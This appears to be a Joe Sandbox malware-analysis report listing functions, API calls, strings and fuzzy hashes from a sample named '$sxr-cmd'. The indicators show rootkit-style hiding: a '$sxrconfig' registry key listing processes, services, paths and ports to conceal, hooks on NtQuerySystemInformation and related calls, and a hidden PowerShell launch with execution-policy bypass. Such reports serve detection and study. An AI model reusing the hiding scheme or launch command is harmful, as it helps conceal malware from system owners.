Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: OpenToken$CloseProcessThread
String ID:
API String ID: 2991381754-0
Opcode ID: 4ce3de64b8687a78417f54647f77f6de0b0f09df9b2bc4953d3ae018d63077cb
Instruction ID: 7af948592c201788736f4cff93510ba9eb80024ffeb20840e7f25cc3d8e380cd
Opcode Fuzzy Hash: 4ce3de64b8687a78417f54647f77f6de0b0f09df9b2bc4953d3ae018d63077cb
Instruction Fuzzy Hash: 9F216D36A08A428BEB009B94D4406B9E7A0EB85FB4F544536DB59C26A4DF78EC48CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155089E4 Relevance: 3.0, APIs: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationToken.NTDLL ref: 00007FF615508A20
NtQueryInformationToken.NTDLL ref: 00007FF6155152BE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: InformationQueryToken
String ID:
API String ID: 4239771691-0
Opcode ID: ea3ebf219b67d46e5b1987a5c063cf7b613a027b1816fa6f4767aceb48b770b4
Instruction ID: 804a12f3ae5817cc096aec328e2c9216a47418375b066d36cc39aa8410f0c169
Opcode Fuzzy Hash: ea3ebf219b67d46e5b1987a5c063cf7b613a027b1816fa6f4767aceb48b770b4
Instruction Fuzzy Hash: 7F110D77618B91C7E7108B01E4407A9BBA4FB85FA9F404131DA4886A64DF7DD988CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615508114 Relevance: 3.0, APIs: 2, Instructions: 41filenativeCOMMON

Download Yara Rule

APIs

NtQueryVolumeInformationFile.NTDLL ref: 00007FF615508151
GetFileInformationByHandleEx.API-MS-WIN-CORE-FILE-L2-1-0 ref: 00007FF61551037C

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: FileInformation$HandleQueryVolume
String ID:
API String ID: 2149833895-0
Opcode ID: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
Instruction ID: 2f6cd6e8a6c4ab9ebe53124d91a4f09fa97fb1291814772d1469087c5224096a
Opcode Fuzzy Hash: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
Instruction Fuzzy Hash: 98117335608BC186E7608B61F4407AEF7A0FB44F98F445131DA9DC2A65DFBCD948CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550898C Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationToken.NTDLL ref: 00007FF6155089B6

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: InformationQueryToken
String ID:
API String ID: 4239771691-0
Opcode ID: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
Instruction ID: 6d9d55d385ba8cf06cd894e3d358ce1ff3d26caa8ee00afaae246fc558db720d
Opcode Fuzzy Hash: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
Instruction Fuzzy Hash: 72F015B7B04B81CBD7008F64E58889CBB78F748B98BA5853ACB2843714DB75D9A4CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B621650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000020D0B62165B
HeapAlloc.KERNEL32 ref: 0000020D0B62166A

Part of subcall function 0000020D0B621274: GetProcessHeap.KERNEL32 ref: 0000020D0B62127A
Part of subcall function 0000020D0B621274: HeapAlloc.KERNEL32 ref: 0000020D0B621289
Part of subcall function 0000020D0B621274: GetProcessHeap.KERNEL32 ref: 0000020D0B6212A3
Part of subcall function 0000020D0B621274: HeapAlloc.KERNEL32 ref: 0000020D0B6212B4

RegOpenKeyExW.ADVAPI32 ref: 0000020D0B6216DA
RegOpenKeyExW.ADVAPI32 ref: 0000020D0B621707
RegCloseKey.ADVAPI32 ref: 0000020D0B621721
RegOpenKeyExW.ADVAPI32 ref: 0000020D0B621741
RegCloseKey.ADVAPI32 ref: 0000020D0B62175C
RegOpenKeyExW.ADVAPI32 ref: 0000020D0B62177C
RegCloseKey.ADVAPI32 ref: 0000020D0B621797
RegOpenKeyExW.ADVAPI32 ref: 0000020D0B6217B7
RegCloseKey.ADVAPI32 ref: 0000020D0B6217D2
RegOpenKeyExW.ADVAPI32 ref: 0000020D0B6217F2
RegCloseKey.ADVAPI32 ref: 0000020D0B62180D
RegOpenKeyExW.ADVAPI32 ref: 0000020D0B62182D
RegCloseKey.ADVAPI32 ref: 0000020D0B621848
RegOpenKeyExW.ADVAPI32 ref: 0000020D0B621868
RegCloseKey.ADVAPI32 ref: 0000020D0B621883
RegOpenKeyExW.ADVAPI32 ref: 0000020D0B6218A3
RegCloseKey.ADVAPI32 ref: 0000020D0B6218BE
RegCloseKey.ADVAPI32 ref: 0000020D0B6218C8

Part of subcall function 0000020D0B6212C8: RegQueryInfoKeyW.ADVAPI32 ref: 0000020D0B621326
Part of subcall function 0000020D0B6212C8: GetProcessHeap.KERNEL32 ref: 0000020D0B621334
Part of subcall function 0000020D0B6212C8: HeapAlloc.KERNEL32 ref: 0000020D0B621345
Part of subcall function 0000020D0B6212C8: RegEnumValueW.ADVAPI32 ref: 0000020D0B6213A1
Part of subcall function 0000020D0B6212C8: GetProcessHeap.KERNEL32 ref: 0000020D0B6213E9
Part of subcall function 0000020D0B6212C8: HeapAlloc.KERNEL32 ref: 0000020D0B6213F7
Part of subcall function 0000020D0B6212C8: GetProcessHeap.KERNEL32 ref: 0000020D0B62141B
Part of subcall function 0000020D0B6212C8: HeapFree.KERNEL32 ref: 0000020D0B621429
Part of subcall function 0000020D0B6212C8: lstrlenW.KERNEL32 ref: 0000020D0B621432
Part of subcall function 0000020D0B6212C8: GetProcessHeap.KERNEL32 ref: 0000020D0B621440
Part of subcall function 0000020D0B6212C8: HeapAlloc.KERNEL32 ref: 0000020D0B62144E

Strings

tcp_local, xrefs: 0000020D0B621826
paths, xrefs: 0000020D0B6217B0
SOFTWARE\$sxrconfig, xrefs: 0000020D0B6216BA
service_names, xrefs: 0000020D0B6217EB
udp, xrefs: 0000020D0B62189C
startup, xrefs: 0000020D0B6216FD
pid, xrefs: 0000020D0B62173A
process_names, xrefs: 0000020D0B621775
tcp_remote, xrefs: 0000020D0B621861

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$sxrconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-3028563969
Opcode ID: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction ID: 25b7d039d37bed566bae75abd468513bfa9860455df18688c444a9bd6b9b0189
Opcode Fuzzy Hash: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction Fuzzy Hash: 5C711A2671AF5085EB10DFA5E89869D37B6F785FA8F801121DE4D5BB6AEF3AC444C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FF8C0 Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 380COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,?,00007FF6154FF52A,00000000,00000000,?,00000000,?,00007FF6154FE626,?,?,00000000,00007FF615501F69), ref: 00007FF6154FF8DE
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF6154FF8FB
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF6154FF951
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF6154FF96B
wcschr.MSVCRT ref: 00007FF6154FFA8E
_get_osfhandle.MSVCRT ref: 00007FF6154FFB14
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF6154FFB2D
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF6154FFBEA
_get_osfhandle.MSVCRT ref: 00007FF6154FF996

Part of subcall function 00007FF615500010: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF61551849D,?,?,?,00007FF61551F0C7), ref: 00007FF615500045
Part of subcall function 00007FF615500010: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF61551F0C7,?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF615500071
Part of subcall function 00007FF615500010: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615500092
Part of subcall function 00007FF615500010: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6155000A7
Part of subcall function 00007FF615500010: MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF615500181

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF61550D401
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF61550D41B
longjmp.MSVCRT(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF61550D435
longjmp.MSVCRT(?,?,00000000,00007FF615501F69,?,?,?,?,?,?,?,00007FF6154F286E,00000000,00000000,00000000,00000000), ref: 00007FF61550D480

Strings

=,;, xrefs: 00007FF6154FF8C8
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX, xrefs: 00007FF6154FF90E

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CriticalSection$EnterFileLeave$LockPointerShared_get_osfhandlelongjmp$AcquireByteCharErrorLastMultiReadReleaseWidewcschr
String ID: =,;$C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX
API String ID: 3964947564-2248143620
Opcode ID: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
Instruction ID: dd92ae7826c1c892f478b2f31df198d0fe9034b7eeec5d8cae8725a53a110cc7
Opcode Fuzzy Hash: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
Instruction Fuzzy Hash: 6C029B2AA09E42D6EA549B28A8441B9F7A1FF44F78F554136D91EC66F1EF3CAC10C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155002A0 Relevance: 35.3, APIs: 13, Strings: 7, Instructions: 279COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF6155002C2
_wcsicmp.MSVCRT ref: 00007FF6155002E4
_wcsicmp.MSVCRT ref: 00007FF615500306
_wcsicmp.MSVCRT ref: 00007FF615500328
_wcsicmp.MSVCRT ref: 00007FF61550034A
_wcsicmp.MSVCRT ref: 00007FF615500368
_wcsicmp.MSVCRT ref: 00007FF615506CF2
_wcsicmp.MSVCRT ref: 00007FF615506D61
_wcsicmp.MSVCRT ref: 00007FF615506D7F
_wcsicmp.MSVCRT ref: 00007FF615506D9D
_wcsicmp.MSVCRT ref: 00007FF615506DBB
iswspace.MSVCRT ref: 00007FF615506E01
wcschr.MSVCRT ref: 00007FF615506E2C

Strings

;, xrefs: 00007FF6155003FD
REM/?, xrefs: 00007FF615500361
FOR, xrefs: 00007FF6155002BB
=,;, xrefs: 00007FF615506E1C
FOR/?, xrefs: 00007FF6155002DD, 00007FF615506CE9
IF/?, xrefs: 00007FF615500321
REM, xrefs: 00007FF615500343

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmp$iswspacewcschr
String ID: ;$=,;$FOR$FOR/?$IF/?$REM$REM/?
API String ID: 840959033-3627297882
Opcode ID: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
Instruction ID: 3b098cfaf30b274e01e21304ed27adb7baa44c31c6d438dfd9addec5ebf24e93
Opcode Fuzzy Hash: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
Instruction Fuzzy Hash: 3FD15B39E08E43C6FB509F25A8452B9ABA0BF54F68F945036D90EC62B5EF3CEC558710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550081C Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 130COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61550084E
_wcsicmp.MSVCRT ref: 00007FF61550088E
_wcsicmp.MSVCRT ref: 00007FF6155008AC
_wcsicmp.MSVCRT ref: 00007FF6155008CA
_wcsicmp.MSVCRT ref: 00007FF6155008E8
_wcsicmp.MSVCRT ref: 00007FF615500906
_wcsicmp.MSVCRT ref: 00007FF615500924
_wcsicmp.MSVCRT ref: 00007FF61550093E
_wcsicmp.MSVCRT ref: 00007FF61550095C

Strings

ERRORLEVEL, xrefs: 00007FF6155008A2
.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF615500835
CMDCMDLINE, xrefs: 00007FF6155008DE
TIME, xrefs: 00007FF61550091A
HIGHESTNUMANODENUMBER, xrefs: 00007FF615500952
DATE, xrefs: 00007FF6155008FC
CMDEXTVERSION, xrefs: 00007FF6155008C0
RANDOM, xrefs: 00007FF615500934

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmp$EnvironmentVariable
String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
API String ID: 198002717-267741548
Opcode ID: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
Instruction ID: a6802bdb260c72392a950daa971ed4db5789221b30bc02e2994bfd9dc833cd88
Opcode Fuzzy Hash: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
Instruction Fuzzy Hash: 3851FD39A08E43C6EA149F25A810279EB60FF59FA5F85A436D90EC3675DF2CE9448740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FEF40 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 465COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF6154FF000
wcschr.MSVCRT ref: 00007FF6154FF031
iswdigit.MSVCRT ref: 00007FF6154FF0D6

Strings

=,;, xrefs: 00007FF6154FEF9D, 00007FF6154FF1CE, 00007FF6154FF342, 00007FF6154FF61A
()|&=,;", xrefs: 00007FF6154FF3EC, 00007FF6154FF6D0
Ungetting: '%s', xrefs: 00007FF61550D0E1

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigitiswspacewcschr
String ID: ()|&=,;"$=,;$Ungetting: '%s'
API String ID: 1595556998-2755026540
Opcode ID: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
Instruction ID: 5a7a24a106ce09d4d40cd98adac353e6175cb30843459e6879d33fa2e65f6e41
Opcode Fuzzy Hash: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
Instruction Fuzzy Hash: 06227E69D08E56A6FA648B2DA440279E6A0BF04FB4F415133D95DC22F4EF3CEC61DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FD3F0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 310memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD46E
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD485
wcschr.MSVCRT ref: 00007FF6154FD4EE
iswspace.MSVCRT ref: 00007FF6154FD54D
wcschr.MSVCRT ref: 00007FF6154FD569
wcschr.MSVCRT ref: 00007FF6154FD58C
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD5EE
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD605
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD61F
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD633

Strings

", xrefs: 00007FF6154FD5AB
=,;, xrefs: 00007FF6154FD4D0

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Processwcschr$Alloc$Sizeiswspace
String ID: "$=,;
API String ID: 3545743878-4143597401
Opcode ID: 41b55f4c43934df12ec69819f95cbaf5faa5e7209c82e771a15df21cb83dbe60
Instruction ID: 64a34d12556e3c734215cda40c15c56a52d3dffad125bc86f3187ca62770e5ca
Opcode Fuzzy Hash: 41b55f4c43934df12ec69819f95cbaf5faa5e7209c82e771a15df21cb83dbe60
Instruction Fuzzy Hash: FBC18D65A09E92C2FB655B19D000379F6E0FF49F64F499036CAAE877A4EF3CAC558700

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B621EB0 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 72librarythreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000020D0B621EBD
GetCurrentThread.KERNEL32 ref: 0000020D0B621EC8

Part of subcall function 0000020D0B6221C0: GetModuleHandleA.KERNEL32 ref: 0000020D0B6221D8
Part of subcall function 0000020D0B6221C0: GetProcAddress.KERNEL32 ref: 0000020D0B6221E9

Part of subcall function 0000020D0B625CB0: GetCurrentThreadId.KERNEL32 ref: 0000020D0B625CEB

Strings

NtQueryDirectoryFile, xrefs: 0000020D0B621F28
NtEnumerateValueKey, xrefs: 0000020D0B621F7F
NtResumeThread, xrefs: 0000020D0B621F0B
ntdll.dll, xrefs: 0000020D0B621ED6
NtDeviceIoControlFile, xrefs: 0000020D0B621FFF
advapi32.dll, xrefs: 0000020D0B621FA0, 0000020D0B621FC1
EnumServiceGroupW, xrefs: 0000020D0B621F99
NtEnumerateKey, xrefs: 0000020D0B621F62
sechost.dll, xrefs: 0000020D0B621FE2
EnumServicesStatusExW, xrefs: 0000020D0B621FBA, 0000020D0B621FDB
spopk.dll, xrefs: 0000020D0B621EB6, 0000020D0B622020
Sysprep_Clean_Validate_Opk, xrefs: 0000020D0B622019
NtQuerySystemInformation, xrefs: 0000020D0B621EEE
NtQueryDirectoryFileEx, xrefs: 0000020D0B621F45

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CurrentThread$AddressHandleLibraryLoadModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$Sysprep_Clean_Validate_Opk$advapi32.dll$ntdll.dll$sechost.dll$spopk.dll
API String ID: 1741086925-759476645
Opcode ID: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction ID: 326dc180ffae68a3698c42e2bb486c49780219fc6c08e975c7033b44e4ceec5c
Opcode Fuzzy Hash: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction Fuzzy Hash: 8041986521BF4AA0FA04DBD4E86D6E82337B744B64FC45423D54D1E1B3BE7B8289D360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615515BF4 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 153windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615515CD5
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF615515D54

Strings

[%hs], xrefs: 00007FF615515E1D
%hs(%d) tid(%x) %08X %ws, xrefs: 00007FF615515D6D
Msg:[%ws] , xrefs: 00007FF615515DC2
FailFast, xrefs: 00007FF615515C85
%hs(%u)\%hs!%p: , xrefs: 00007FF615515D01
LogHr, xrefs: 00007FF615515C8E
CallContext:[%hs] , xrefs: 00007FF615515DDD
[%hs(%hs)], xrefs: 00007FF615515E04
(caller: %p) , xrefs: 00007FF615515D3F
ReturnHr, xrefs: 00007FF615515C97
%hs!%p: , xrefs: 00007FF615515D1F
, xrefs: 00007FF615515DA7
Exception, xrefs: 00007FF615515CA0

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
